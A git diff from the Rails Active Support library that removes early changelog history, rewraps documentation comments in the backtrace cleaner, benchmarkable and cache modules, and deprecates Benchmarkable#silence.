-
-* Added Enumerable#sum for calculating a sum from the elements [David Heinemeier Hansson, jonathan@daikini.com]. Examples:
-
- [1, 2, 3].sum
- payments.sum { |p| p.price * p.tax_rate }
- payments.sum(&:price)
-
- This is instead of payments.inject(0) { |sum, p| sum + p.price }
-
-* Correct and clarify Array#to_sentence docs. #5458 *brad@madriska.com*
-
-* alias_method_chain preserves method punctuation so foo, foo?, and foo! may be chained with the same feature. *Jeremy Kemper*
- Example:
- alias_method_chain :save!, :validation
- is equivalent to
- alias_method :save_without_validation!, :save!
- alias_method :save!, :save_with_validation!
-
-* Enhance Symbol#to_proc so it works with list objects, such as multi-dimensional arrays. Closes #5295 [nov@yo.rim.or.jp]. Example:
-
- {1 => "one", 2 => "two", 3 => "three"}.sort_by(&:first).map(&:last)
- # => ["one", "two", "three"]
-
-* Added Hash.create_from_xml(string) which will create a hash from a XML string and even typecast if possible [David Heinemeier Hansson]. Example:
-
- Hash.create_from_xml <<-EOT
- <note>
- <title>This is a note</title>
- <created-at type="date">2004-10-10</created-at>
- </note>
- EOT
-
- ...would return:
-
- { :note => { :title => "This is a note", :created_at => Date.new(2004, 10, 10) } }
-
-* Added Jim Weirich's excellent FlexMock class to vendor (Copyright 2003, 2004 by Jim Weirich (jim@weriichhouse.org)) -- it's not automatically required, though, so require 'flexmock' is still necessary *David Heinemeier Hansson*
-
-* Fixed that Module#alias_method_chain should work with both foo? foo! and foo at the same time #4954 *anna@wota.jp*
-
-* to_xml fixes, features, and speedup: introduce :dasherize option that converts updated_at to updated-at if true (the existing default); binary columns get encoding="base64" attribute; nil values get nil="true" attribute to distinguish empty values; add type information for float columns; allow arbitrarily deep :include; include SQL type information as the type attribute. #4989 *Blair Zajac <blair@orcaware.com>*
-
-* Add OrderedHash#values. *Sam Stephenson*
-
-* Added Array#to_s(:db) that'll produce a comma-separated list of ids [David Heinemeier Hansson]. Example:
-
- Purchase.find(:all, :conditions => "product_id IN (#{shops.products.to_s(:db)})"
-
-* Normalize classify's argument to a String so that it plays nice with Symbols. *Marcel Molina Jr.*
-
-* Strip out leading schema name in classify. References #5139. *Michael Schoen*
-
-* Remove Enumerable#first_match since break(value) handles the use case well enough. *Nicholas Seckar*
-
- Enumerable#first_match was like detect, but instead of returning the matching element, the yielded value returned. For example:
-
- user_xml = adapters(:from => User, :to => Xml).first_match do |adapter|
- adapter.adapt @user
- end
-
- But this is just as easily done with:
-
- user_xml = adapters(:from => User, :to => Xml).each do
- break adapter.adapt(@user)
- end
-
-* Make Array#in_groups_of just return the grouped collection if a block isn't given. *Marcel Molina Jr.*
-
-* Don't destroy a HashWithIndifferentAccess if symbolize_keys! or stringify_keys! is called on it. Closes #5076. *Marcel Molina Jr., guy.naor@famundo.com*
-
-* Document Module::delegate. #5002 *pergesu@gmail.com*
-
-* Replace alias method chaining with Module#alias_method_chain. *Marcel Molina Jr.*
-
-* Strip out punctuation on predicates or bang methods being aliased with alias_method_chain since target?_without_feature is not a valid method name. Add tests for Module#alias_method_chain. *Marcel Molina Jr.*
-
-* Replace Ruby's deprecated append_features in favor of included. *Marcel Molina Jr.*
-
-* Allow default options in with_options to be overridden. Closes #4480. *murphy@cYcnus.de*
-
-* Added Module#alias_method_chain *Jamis Buck*
-
-* Updated to Builder 2.0 *David Heinemeier Hansson*
-
-* Add Array#split for dividing arrays into one or more subarrays by value or block. *Sam Stephenson*
-
-## 1.3.1 (April 6th, 2006) ##
-
-* Clean paths inside of exception messages and traces. *Nicholas Seckar*
-
-* Add Pathname.clean_within for cleaning all the paths inside of a string. *Nicholas Seckar*
-
-* provide an empty Dependencies::LoadingModule.load which prints deprecation warnings. Lets 1.0 applications function with .13-style environment.rb.
-
-
-## 1.3.0 (March 27th, 2006) ##
-
-* When possible, avoid incorrectly obtaining constants from parent modules. Fixes #4221. *Nicholas Seckar*
-
-* Add more tests for dependencies; refactor existing cases. *Nicholas Seckar*
-
-* Move Module#parent and Module#as_load_path into core_ext. Add Module#parent. *Nicholas Seckar*
-
-* Add CachingTools::HashCaching to simplify the creation of nested, autofilling hashes. *Nicholas Seckar*
-
-* Remove a hack intended to avoid unloading the same class twice, but which would not work anyways. *Nicholas Seckar*
-
-* Update Object.subclasses_of to locate nested classes. This affects Object.remove_subclasses_of in that nested classes will now be unloaded. *Nicholas Seckar*
-
-* Update Object.remove_subclasses_of to use Class.remove_class, reducing duplication. *Nicholas Seckar*
-
-* Added Fixnum#seconds for consistency, so you can say 5.minutes + 30.seconds instead of 5.minutes + 30 #4389 *François Beausoleil*
-
-* Added option to String#camelize to generate lower-cased camel case by passing in :lower, like "super_man".camelize(:lower) # => "superMan" *David Heinemeier Hansson*
-
-* Added Hash#diff to show the difference between two hashes *Chris McGrath*
-
-* Added Time#advance to do precise time time calculations for cases where a month being approximated to 30 days won't do #1860 *Rick Olson*
-
-* Enhance Inflector.underscore to convert '-' into '_' (as the inverse of Inflector.dasherize) *Jamis Buck*
-
-* Switched to_xml to use the xml schema format for datetimes. This allows the encoding of time zones and should improve operability. *Michael Koziarski*
-
-* Added a note to the documentation for the Date related Numeric extensions to indicate that they're
- approximations and shouldn't be used for critical calculations. *Michael Koziarski*
-
-* Added Hash#to_xml and Array#to_xml that makes it much easier to produce XML from basic structures [David Heinemeier Hansson]. Examples:
-
- { :name => "David", :street_name => "Paulina", :age => 26, :moved_on => Date.new(2005, 11, 15) }.to_xml
-
- ...returns:
-
- <person>
- <street-name>Paulina</street-name>
- <name>David</name>
- <age type="integer">26</age>
- <moved-on type="date">2005-11-15</moved-on>
- </person>
-
-* Moved Jim Weirich's wonderful Builder from Action Pack to Active Support (it's simply too useful to be stuck in AP) *David Heinemeier Hansson*
-
-* Fixed that Array#to_sentence will return "" on an empty array instead of ", and" #3842, #4031 *rubyonrails@beautifulpixel.com*
-
-* Add Enumerable#group_by for grouping collections based on the result of some
- block. Useful, for example, for grouping records by date.
-
- ex.
-
- latest_transcripts.group_by(&:day).each do |day, transcripts|
- p "#{day} -> #{transcripts.map(&:class) * ', '}"
- end
- "2006-03-01 -> Transcript"
- "2006-02-28 -> Transcript"
- "2006-02-27 -> Transcript, Transcript"
- "2006-02-26 -> Transcript, Transcript"
-
- Add Array#in_groups_of, for iterating over an array in groups of a certain
- size.
-
- ex.
-
- %w(1 2 3 4 5 6 7).in_groups_of(3) {|g| p g}
- ["1", "2", "3"]
- ["4", "5", "6"]
- ["7", nil, nil]
-
- *Marcel Molina Jr., Sam Stephenson*
-
-* Added Kernel#daemonize to turn the current process into a daemon that can be killed with a TERM signal *David Heinemeier Hansson*
-
-* Add 'around' methods to Logger, to make it easy to log before and after messages for a given block as requested in #3809. [Michael Koziarski] Example:
-
- logger.around_info("Start rendering component (#{options.inspect}): ",
- "\n\nEnd of component rendering") { yield }
-
-* Added Time#beginning_of_quarter #3607 *cohen.jeff@gmail.com*
-
-* Fix Object.subclasses_of to only return currently defined objects *Jonathan Viney <jonathan@bluewire.net.nz>*
-
-* Fix constantize to properly handle names beginning with '::'. *Nicholas Seckar*
-
-* Make String#last return the string instead of nil when it is shorter than the limit [Scott Barron].
-
-* Added delegation support to Module that allows multiple delegations at once (unlike Forwardable in the stdlib) [David Heinemeier Hansson]. Example:
-
- class Account < ActiveRecord::Base
- has_one :subscription
- delegate :free?, :paying?, :to => :subscription
- delegate :overdue?, :to => "subscription.last_payment"
- end
-
- account.free? # => account.subscription.free?
- account.overdue? # => account.subscription.last_payment.overdue?
-
-* Fix Reloadable to handle the case where a class that has been 'removed' has not yet been garbage collected. *Nicholas Seckar*
-
-* Don't allow Reloadable to be included into Modules.
-
-* Remove LoadingModule. *Nicholas Seckar*
-
-* Add documentation for Reloadable::Subclasses. *Nicholas Seckar*
-
-* Add Reloadable::Subclasses which handles the common case where a base class should not be reloaded, but its subclasses should be. *Nicholas Seckar*
-
-* Further improvements to reloading code *Nicholas Seckar, Trevor Squires*
-
- - All classes/modules which include Reloadable can define reloadable? for fine grained control of reloading
- - Class.remove_class uses Module#parent to access the parent module
- - Class.remove_class expanded to handle multiple classes in a single call
- - LoadingModule.clear! has been removed as it is no longer required
- - Module#remove_classes_including has been removed in favor of Reloadable.reloadable_classes
-
-* Added reusable reloading support through the inclusion of the Relodable module that all subclasses of ActiveRecord::Base, ActiveRecord::Observer, ActiveController::Base, and ActionMailer::Base automatically gets. This means that these classes will be reloaded by the dispatcher when Dependencies.mechanism = :load. You can make your own models reloadable easily:
-
- class Setting
- include Reloadable
- end
-
- Reloading a class is done by removing its constant which will cause it to be loaded again on the next reference. *David Heinemeier Hansson*
-
-* Added auto-loading support for classes in modules, so Conductor::Migration will look for conductor/migration.rb and Conductor::Database::Settings will look for conductor/database/settings.rb *Nicholas Seckar*
-
-* Add Object#instance_exec, like instance_eval but passes its arguments to the block. (Active Support will not override the Ruby 1.9 implementation of this method.) *Sam Stephenson*
-
-* Add Proc#bind(object) for changing a proc or block's self by returning a Method bound to the given object. Based on why the lucky stiff's "cloaker" method. *Sam Stephenson*
-
-* Fix merge and dup for hashes with indifferent access #3404 *Ken Miller*
-
-* Fix the requires in option_merger_test to unbreak AS tests. *Sam Stephenson*
-
-* Make HashWithIndifferentAccess#update behave like Hash#update by returning the hash. #3419, #3425 *asnem@student.ethz.ch, JanPrill@blauton.de, Marcel Molina Jr.*
-
-* Add ActiveSupport::JSON and Object#to_json for converting Ruby objects to JSON strings. *Sam Stephenson*
-
-* Add Object#with_options for DRYing up multiple calls to methods having shared options. [Sam Stephenson] Example:
-
- ActionController::Routing::Routes.draw do |map|
- # Account routes
- map.with_options(:controller => 'account') do |account|
- account.home '', :action => 'dashboard'
- account.signup 'signup', :action => 'new'
- account.logout 'logout', :action => 'logout'
- end
- end
-
-* Introduce Dependencies.warnings_on_first_load setting. If true, enables warnings on first load of a require_dependency. Otherwise, loads without warnings. Disabled (set to false) by default. *Jeremy Kemper*
-
-* Active Support is warnings-safe. #1792 *Eric Hodel*
-
-* Introduce enable_warnings counterpart to silence_warnings. Turn warnings on when loading a file for the first time if Dependencies.mechanism == :load. Common mistakes such as redefined methods will print warnings to stderr. *Jeremy Kemper*
-
-* Add Symbol#to_proc, which allows for, e.g. [:foo, :bar].map(&:to_s). *Marcel Molina Jr.*
-
-* Added the following methods [Marcel Molina Jr., Sam Stephenson]:
- * Object#copy_instance_variables_from(object) to copy instance variables from one object to another
- * Object#extended_by to get an instance's included/extended modules
- * Object#extend_with_included_modules_from(object) to extend an instance with the modules from another instance
-
-## 1.2.5 (December 13th, 2005) ##
-
-* Become part of Rails 1.0
-
-* Rename Version constant to VERSION. #2802 *Marcel Molina Jr.*
-
-## 1.2.3 (November 7th, 2005) ##
-
-* Change Inflector#constantize to use eval instead of const_get. *Nicholas Seckar*
-
-* Fix const_missing handler to ignore the trailing '.rb' on files when comparing paths. *Nicholas Seckar*
-
-* Define kernel.rb methods in "class Object" instead of "module Kernel" to work around a Windows peculiarity *Sam Stephenson*
-
-* Fix broken tests caused by incomplete loading of active support. *Nicholas Seckar*
-
-* Fix status pluralization bug so status_codes doesn't get pluralized as statuses_code. #2758 *keithm@infused.org*
-
-* Added Kernel#silence_stderr to silence stderr for the duration of the given block *Sam Stephenson*
-
-* Changed Kernel#` to print a message to stderr (like Unix) instead of raising Errno::ENOENT on Win32 *Sam Stephenson*
-
-* Changed 0.blank? to false rather than true since it violates everyone's expectation of blankness. #2518, #2705 *rails@jeffcole.net*
-
-* When loading classes using const_missing, raise a NameError if and only if the file we tried to load was not present. *Nicholas Seckar*
-
-* Added petabytes and exebytes to numeric extensions #2397 *timct@mac.com*
-
-* Added Time#end_of_month to accompany Time#beginning_of_month #2514 *Jens-Christian Fischer*
-
-
-## 1.2.2 (October 26th, 2005) ##
-
-* Set Logger.silencer = false to disable Logger#silence. Useful for debugging fixtures.
-
-* Add title case method to String to do, e.g., 'action_web_service'.titlecase # => 'Action Web Service'. *Marcel Molina Jr.*
-
-
-## 1.2.1 (October 19th, 2005) ##
-
-* Classify generated routing code as framework code to avoid appearing in application traces. *Nicholas Seckar*
-
-* Show all framework frames in the framework trace. *Nicholas Seckar*
-
-
-## 1.2.0 (October 16th, 2005) ##
-
-* Update Exception extension to show the first few framework frames in an application trace. *Nicholas Seckar*
-
-* Added Exception extension to provide support for clean backtraces. *Nicholas Seckar*
-
-* Updated whiny nil to be more concise and useful. *Nicholas Seckar*
-
-* Added Enumerable#first_match *Nicholas Seckar*
-
-* Fixed that Time#change should also reset usec when also resetting minutes #2459 *ikeda@dream.big.or.jp*
-
-* Fix Logger compatibility for distributions that don't keep Ruby and its standard library in sync.
-
-* Replace '%e' from long and short time formats as Windows does not support it. #2344. *Tom Ward <tom@popdog.net>*
-
-* Added to_s(:db) to Range, so you can get "BETWEEN '2005-12-10' AND '2005-12-12'" from Date.new(2005, 12, 10)..Date.new(2005, 12, 12) (and likewise with Times)
-
-* Moved require_library_or_gem into Kernel. #1992 *Michael Schuerig <michael@schuerig.de>*
-
-* Add :rfc822 as an option for Time#to_s (to get rfc822-formatted times)
-
-* Chain the const_missing hook to any previously existing hook so rails can play nicely with rake
-
-* Clean logger is compatible with both 1.8.2 and 1.8.3 Logger. #2263 *Michael Schuerig <michael@schuerig.de>*
-
-* Added native, faster implementations of .blank? for the core types #2286 *skae*
-
-* Fixed clean logger to work with Ruby 1.8.3 Logger class #2245
-
-* Fixed memory leak with Active Record classes when Dependencies.mechanism = :load #1704 *Chris McGrath*
-
-* Fixed Inflector.underscore for use with acronyms, so HTML becomes html instead of htm_l #2173 *k@v2studio.com*
-
-* Fixed dependencies related infinite recursion bug when a controller file does not contain a controller class. Closes #1760. *rcolli2@tampabay.rr.com*
-
-* Fixed inflections for status, quiz, move #2056 *deirdre@deirdre.net*
-
-* Added Hash#reverse_merge, Hash#reverse_merge!, and Hash#reverse_update to ease the use of default options
-
-* Added Array#to_sentence that'll turn ['one', 'two', 'three'] into "one, two, and three" #2157 *Manfred Stienstra*
-
-* Added Kernel#silence_warnings to turn off warnings temporarily for the passed block
-
-* Added String#starts_with? and String#ends_with? #2118 *Thijs van der Vossen*
-
-* Added easy extendability to the inflector through Inflector.inflections (using the Inflector::Inflections singleton class). Examples:
-
- Inflector.inflections do |inflect|
- inflect.plural /^(ox)$/i, '\1\2en'
- inflect.singular /^(ox)en/i, '\1'
-
- inflect.irregular 'octopus', 'octopi'
-
- inflect.uncountable "equipment"
- end
-
-* Added String#at, String#from, String#to, String#first, String#last in ActiveSupport::CoreExtensions::String::Access to ease access to individual characters and substrings in a string serving basically as human names for range access.
-
-* Make Time#last_month work when invoked on the 31st of a month.
-
-* Add Time.days_in_month, and make Time#next_month work when invoked on the 31st of a month
-
-* Fixed that Time#midnight would have a non-zero usec on some platforms #1836
-
-* Fixed inflections of "index/indices" #1766 *damn_pepe@gmail.com*
-
-* Added stripping of _id to String#humanize, so "employee_id" becomes "Employee" #1574 *Justin French*
-
-* Factor Fixnum and Bignum extensions into Integer extensions *Nicholas Seckar*
-
-* Hooked #ordinalize into Fixnum and Bignum classes. *Nicholas Seckar, danp*
-
-* Added Fixnum#ordinalize to turn 1.ordinalize to "1st", 3.ordinalize to "3rd", and 10.ordinalize to "10th" and so on #1724 *paul@cnt.org*
-
-
-## 1.1.1 (11 July, 2005) ##
-
-* Added more efficient implementation of the development mode reset of classes #1638 *Chris McGrath*
-
-
-## 1.1.0 (6 July, 2005) ##
-
-* Fixed conflict with Glue gem #1606 *Rick Olson*
-
-* Added new rules to the Inflector to deal with more unusual plurals mouse/louse => mice/lice, information => information, ox => oxen, virus => viri, archive => archives #1571, #1583, #1490, #1599, #1608 *foamdino@gmail.com/others*
-
-* Fixed memory leak with Object#remove_subclasses_of, which inflicted a Rails application running in development mode with a ~20KB leak per request #1289 *Chris McGrath*
-
-* Made 1.year == 365.25.days to account for leap years. This allows you to do User.find(:all, :conditions => ['birthday > ?', 50.years.ago]) without losing a lot of days. #1488 *tuxie@dekadance.se*
-
-* Added an exception if calling id on nil to WhinyNil #584 *kevin-temp@writesoon.com*
-
-* Added Fix/Bignum#multiple_of? which returns true on 14.multiple_of?(7) and false on 16.multiple_of?(7) #1464 *Thomas Fuchs*
-
-* Added even? and odd? to work with Bignums in addition to Fixnums #1464 *Thomas Fuchs*
-
-* Fixed Time#at_beginning_of_week returned the next Monday instead of the previous one when called on a Sunday #1403 *jean.helou@gmail.com*
-
-* Increased the speed of indifferent hash access by using Hash#default. #1436 *Nicholas Seckar*
-
-* Added that " " is now also blank? (using strip if available)
-
-* Fixed Dependencies so all modules are able to load missing constants #1173 *Nicholas Seckar*
-
-* Fixed the Inflector to underscore strings containing numbers, so Area51Controller becomes area51_controller #1176 *Nicholas Seckar*
-
-* Fixed that HashWithIndifferentAccess stringified all keys including symbols, ints, objects, and arrays #1162 *Nicholas Seckar*
-
-* Fixed Time#last_year to go back in time, not forward #1278 *fabien@odilat.com*
-
-* Fixed the pluralization of analysis to analyses #1295 *seattle@rootimage.msu.edu*
-
-* Fixed that Time.local(2005,12).months_since(1) would raise "ArgumentError: argument out of range" #1311 *jhahn@niveon.com*
-
-* Added silencing to the default Logger class
-
-
-## 1.0.4 (19th April, 2005) ##
-
-* Fixed that in some circumstances controllers outside of modules may have hidden ones inside modules. For example, admin/content might have been hidden by /content. #1075 *Nicholas Seckar*
-
-* Fixed inflection of perspectives and similar words #1045 *Thijs van der Vossen*
-
-* Added Fixnum#even? and Fixnum#odd?
-
-* Fixed problem with classes being required twice. Object#const_missing now uses require_dependency to load files. It used to use require_or_load which would cause models to be loaded twice, which was not good for validations and other class methods #971 *Nicholas Seckar*
-
-
-## 1.0.3 (27th March, 2005) ##
-
-* Fixed Inflector.pluralize to handle capitalized words #932 *Jeremy Kemper*
-
-* Added Object#suppress which allows you to make a saner choice around with exceptions to swallow #980. Example:
-
- suppress(ZeroDivisionError) { 1/0 }
-
- ...instead of:
-
- 1/0 rescue nil # BAD, EVIL, DIRTY.
-
-
-## 1.0.2 (22th March, 2005) ##
-
-* Added Kernel#returning -- a Ruby-ized realization of the K combinator, courtesy of Mikael Brockman.
-
- def foo
- returning values = [] do
- values << 'bar'
- values << 'baz'
- end
- end
-
- foo # => ['bar', 'baz']
-
-
-## 1.0.1 (7th March, 2005) ##
-
-* Fixed Hash#indifferent_access to also deal with include? and fetch and nested hashes #726 *Nicholas Seckar*
-
-* Added Object#blank? -- see http://redhanded.hobix.com/inspect/objectBlank.html #783 *_why the lucky stiff*
-
-* Added inflection rules for "sh" words, like "wish" and "fish" #755 *phillip@pjbsoftware.com*
-
-* Fixed an exception when using Ajax based requests from Safari because Safari appends a \000 to the post body. Symbols can't have \000 in them so indifferent access would throw an exception in the constructor. Indifferent hashes now use strings internally instead. #746 *Tobias Lütke*
-
-* Added String#to_time and String#to_date for wrapping ParseDate
-
-
-## 1.0.0 (24th February, 2005) ##
-
-* Added TimeZone as the first of a number of value objects that among others Active Record can use rich value objects using composed_of #688 *Jamis Buck*
-
-* Added Date::Conversions for getting dates in different convenient string representations and other objects
-
-* Added Time::Conversions for getting times in different convenient string representations and other objects
-
-* Added Time::Calculations to ask for things like Time.now.tomorrow, Time.now.yesterday, Time.now.months_ago(4) #580 [DP|Flurin]. Examples:
-
- "Later today" => now.in(3.hours),
- "Tomorrow morning" => now.tomorrow.change(:hour => 9),
- "Tomorrow afternoon" => now.tomorrow.change(:hour => 14),
- "In a couple of days" => now.tomorrow.tomorrow.change(:hour => 9),
- "Next monday" => now.next_week.change(:hour => 9),
- "In a month" => now.next_month.change(:hour => 9),
- "In 6 months" => now.months_since(6).change(:hour => 9),
- "In a year" => now.in(1.year).change(:hour => 9)
-
-* Upgraded to breakpoint 92 which fixes:
-
- * overload IRB.parse_opts(), fixes #443
- => breakpoints in tests work even when running them via rake
- * untaint handlers, might fix an issue discussed on the Rails ML
- * added verbose mode to breakpoint_client
- * less noise caused by breakpoint_client by default
- * ignored TerminateLineInput exception in signal handler
- => quiet exit on Ctrl-C
-
-* Fixed Inflector for words like "news" and "series" that are the same in plural and singular #603 [echion], #615 *marcenuc*
-
-* Added Hash#stringify_keys and Hash#stringify_keys!
-
-* Added IndifferentAccess as a way to wrap a hash by a symbol-based store that also can be accessed by string keys
-
-* Added Inflector.constantize to turn "Admin::User" into a reference for the constant Admin::User
-
-* Added that Inflector.camelize and Inflector.underscore can deal with modules like turning "Admin::User" into "admin/user" and back
-
-* Added Inflector.humanize to turn attribute names like employee_salary into "Employee salary". Used by automated error reporting in AR.
-
-* Added availability of class inheritable attributes to the masses #477 *Jeremy Kemper*
-
- class Foo
- class_inheritable_reader :read_me
- class_inheritable_writer :write_me
- class_inheritable_accessor :read_and_write_me
- class_inheritable_array :read_and_concat_me
- class_inheritable_hash :read_and_update_me
- end
-
- # Bar gets a clone of (not a reference to) Foo's attributes.
- class Bar < Foo
- end
-
- Bar.read_and_write_me == Foo.read_and_write_me
- Bar.read_and_write_me = 'bar'
- Bar.read_and_write_me != Foo.read_and_write_me
-
-* Added Inflections as an extension on String, so Inflector.pluralize(Inflector.classify(name)) becomes name.classify.pluralize #476 *Jeremy Kemper*
-
-* Added Byte operations to Numeric, so 5.5.megabytes + 200.kilobytes #461 *Marcel Molina Jr.*
-
-* Fixed that Dependencies.reload can't load the same file twice #420 *Kent Sibilev*
-
-* Added Fixnum#ago/until, Fixnum#since/from_now #450 *Jeremy Kemper*
-
-* Added that Inflector now accepts Symbols and Classes by calling .to_s on the word supplied
-
-* Added time unit extensions to Fixnum that'll return the period in seconds, like 2.days + 4.hours.
+Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/activesupport/CHANGELOG.md) for previous changes.
diff --git a/activesupport/lib/active_support.rb b/activesupport/lib/active_support.rb
index 56d6676961..41d77ab6c1 100644
--- a/activesupport/lib/active_support.rb
+++ b/activesupport/lib/active_support.rb
@@ -37,7 +37,6 @@ module ActiveSupport
autoload :LogSubscriber
autoload :Notifications
- # TODO: Narrow this list down
eager_autoload do
autoload :BacktraceCleaner
autoload :BasicObject
@@ -55,12 +54,12 @@ module ActiveSupport
autoload :OptionMerger
autoload :OrderedHash
autoload :OrderedOptions
- autoload :Rescuable
autoload :StringInquirer
autoload :TaggedLogging
autoload :XmlMini
end
+ autoload :Rescuable
autoload :SafeBuffer, "active_support/core_ext/string/output_safety"
autoload :TestCase
end
diff --git a/activesupport/lib/active_support/backtrace_cleaner.rb b/activesupport/lib/active_support/backtrace_cleaner.rb
index 7c3a41288b..53d05c3817 100644
--- a/activesupport/lib/active_support/backtrace_cleaner.rb
+++ b/activesupport/lib/active_support/backtrace_cleaner.rb
@@ -1,22 +1,29 @@
module ActiveSupport
- # Backtraces often include many lines that are not relevant for the context under review. This makes it hard to find the
- # signal amongst the backtrace noise, and adds debugging time. With a BacktraceCleaner, filters and silencers are used to
- # remove the noisy lines, so that only the most relevant lines remain.
+ # Backtraces often include many lines that are not relevant for the context
+ # under review. This makes it hard to find the signal amongst the backtrace
+ # noise, and adds debugging time. With a BacktraceCleaner, filters and
+ # silencers are used to remove the noisy lines, so that only the most relevant
+ # lines remain.
#
- # Filters are used to modify lines of data, while silencers are used to remove lines entirely. The typical filter use case
- # is to remove lengthy path information from the start of each line, and view file paths relevant to the app directory
- # instead of the file system root. The typical silencer use case is to exclude the output of a noisy library from the
- # backtrace, so that you can focus on the rest.
+ # Filters are used to modify lines of data, while silencers are used to remove
+ # lines entirely. The typical filter use case is to remove lengthy path
+ # information from the start of each line, and view file paths relevant to the
+ # app directory instead of the file system root. The typical silencer use case
+ # is to exclude the output of a noisy library from the backtrace, so that you
+ # can focus on the rest.
#
# bc = BacktraceCleaner.new
# bc.add_filter { |line| line.gsub(Rails.root, '') }
# bc.add_silencer { |line| line =~ /mongrel|rubygems/ }
# bc.clean(exception.backtrace) # will strip the Rails.root prefix and skip any lines from mongrel or rubygems
#
- # To reconfigure an existing BacktraceCleaner (like the default one in Rails) and show as much data as possible, you can
- # always call <tt>BacktraceCleaner#remove_silencers!</tt>, which will restore the backtrace to a pristine state. If you
- # need to reconfigure an existing BacktraceCleaner so that it does not filter or modify the paths of any lines of the
- # backtrace, you can call BacktraceCleaner#remove_filters! These two methods will give you a completely untouched backtrace.
+ # To reconfigure an existing BacktraceCleaner (like the default one in Rails)
+ # and show as much data as possible, you can always call
+ # <tt>BacktraceCleaner#remove_silencers!</tt>, which will restore the
+ # backtrace to a pristine state. If you need to reconfigure an existing
+ # BacktraceCleaner so that it does not filter or modify the paths of any lines
+ # of the backtrace, you can call BacktraceCleaner#remove_filters! These two
+ # methods will give you a completely untouched backtrace.
#
# Inspired by the Quiet Backtrace gem by Thoughtbot.
class BacktraceCleaner
@@ -24,7 +31,8 @@ module ActiveSupport
@filters, @silencers = [], []
end
- # Returns the backtrace after all filters and silencers have been run against it. Filters run first, then silencers.
+ # Returns the backtrace after all filters and silencers have been run
+ # against it. Filters run first, then silencers.
def clean(backtrace, kind = :silent)
filtered = filter(backtrace)
@@ -38,7 +46,8 @@ module ActiveSupport
end
end
- # Adds a filter from the block provided. Each line in the backtrace will be mapped against this filter.
+ # Adds a filter from the block provided. Each line in the backtrace will be
+ # mapped against this filter.
#
# # Will turn "/my/rails/root/app/models/person.rb" into "/app/models/person.rb"
# backtrace_cleaner.add_filter { |line| line.gsub(Rails.root, '') }
@@ -46,8 +55,8 @@ module ActiveSupport
@filters << block
end
- # Adds a silencer from the block provided. If the silencer returns true for a given line, it will be excluded from
- # the clean backtrace.
+ # Adds a silencer from the block provided. If the silencer returns +true+
+ # for a given line, it will be excluded from the clean backtrace.
#
# # Will reject all lines that include the word "mongrel", like "/gems/mongrel/server.rb" or "/app/my_mongrel_server/rb"
# backtrace_cleaner.add_silencer { |line| line =~ /mongrel/ }
@@ -55,8 +64,9 @@ module ActiveSupport
@silencers << block
end
- # Will remove all silencers, but leave in the filters. This is useful if your context of debugging suddenly expands as
- # you suspect a bug in one of the libraries you use.
+ # Will remove all silencers, but leave in the filters. This is useful if
+ # your context of debugging suddenly expands as you suspect a bug in one of
+ # the libraries you use.
def remove_silencers!
@silencers = []
end
diff --git a/activesupport/lib/active_support/benchmarkable.rb b/activesupport/lib/active_support/benchmarkable.rb
index f149a7f0ed..3d8bb13c49 100644
--- a/activesupport/lib/active_support/benchmarkable.rb
+++ b/activesupport/lib/active_support/benchmarkable.rb
@@ -3,30 +3,33 @@ require 'active_support/core_ext/hash/keys'
module ActiveSupport
module Benchmarkable
- # Allows you to measure the execution time of a block in a template and records the result to
- # the log. Wrap this block around expensive operations or possible bottlenecks to get a time
- # reading for the operation. For example, let's say you thought your file processing method
- # was taking too long; you could wrap it in a benchmark block.
+ # Allows you to measure the execution time of a block in a template and
+ # records the result to the log. Wrap this block around expensive operations
+ # or possible bottlenecks to get a time reading for the operation. For
+ # example, let's say you thought your file processing method was taking too
+ # long; you could wrap it in a benchmark block.
#
- # <% benchmark "Process data files" do %>
+ # <% benchmark 'Process data files' do %>
# <%= expensive_files_operation %>
# <% end %>
#
- # That would add something like "Process data files (345.2ms)" to the log, which you can then
- # use to compare timings when optimizing your code.
+ # That would add something like "Process data files (345.2ms)" to the log,
+ # which you can then use to compare timings when optimizing your code.
#
- # You may give an optional logger level (:debug, :info, :warn, :error) as the :level option.
- # The default logger level value is :info.
+ # You may give an optional logger level (<tt>:debug</tt>, <tt>:info</tt>,
+ # <tt>:warn</tt>, <tt>:error</tt>) as the <tt>:level</tt> option. The
+ # default logger level value is <tt>:info</tt>.
#
- # <% benchmark "Low-level files", :level => :debug do %>
+ # <% benchmark 'Low-level files', level: :debug do %>
# <%= lowlevel_files_operation %>
# <% end %>
#
- # Finally, you can pass true as the third argument to silence all log activity (other than the
- # timing information) from inside the block. This is great for boiling down a noisy block to
- # just a single statement that produces one log line:
+ # Finally, you can pass true as the third argument to silence all log
+ # activity (other than the timing information) from inside the block. This
+ # is great for boiling down a noisy block to just a single statement that
+ # produces one log line:
#
- # <% benchmark "Process data files", :level => :info, :silence => true do %>
+ # <% benchmark 'Process data files', level: :info, silence: true do %>
# <%= expensive_and_chatty_files_operation %>
# <% end %>
def benchmark(message = "Benchmarking", options = {})
@@ -44,8 +47,8 @@ module ActiveSupport
end
# Silence the logger during the execution of the block.
- #
def silence
+ ActiveSupport::Deprecation.warn "ActiveSupport::Benchmarkable#silence is deprecated. It will be removed from Rails 4.1."
old_logger_level, logger.level = logger.level, ::Logger::ERROR if logger
yield
ensure
diff --git a/activesupport/lib/active_support/cache.rb b/activesupport/lib/active_support/cache.rb
index a62214d604..f98ba16cdd 100644
--- a/activesupport/lib/active_support/cache.rb
+++ b/activesupport/lib/active_support/cache.rb
@@ -45,8 +45,8 @@ module ActiveSupport
# Any additional arguments will be passed to the corresponding cache store
# class's constructor:
#
- # ActiveSupport::Cache.lookup_store(:file_store, "/tmp/cache")
- # # => same as: ActiveSupport::Cache::FileStore.new("/tmp/cache")
+ # ActiveSupport::Cache.lookup_store(:file_store, '/tmp/cache')
+ # # => same as: ActiveSupport::Cache::FileStore.new('/tmp/cache')
#
# If the first argument is not a Symbol, then it will simply be returned:
#
@@ -110,9 +110,9 @@ module ActiveSupport
#
# cache = ActiveSupport::Cache::MemoryStore.new
#
- # cache.read("city") # => nil
- # cache.write("city", "Duckburgh")
- # cache.read("city") # => "Duckburgh"
+ # cache.read('city') # => nil
+ # cache.write('city', "Duckburgh")
+ # cache.read('city') # => "Duckburgh"
#
# Keys are always translated into Strings and are case sensitive. When an
# object is specified as a key and has a +cache_key+ method defined, this
@@ -121,7 +121,7 @@ module ActiveSupport
# elements will be delimited by slashes, and the elements within a Hash
# will be sorted by key so they are consistent.
#
- # cache.read("city") == cache.read(:city) # => true
+ # cache.read('city') == cache.read(:city) # => true
#
# Nil values can be cached.
#
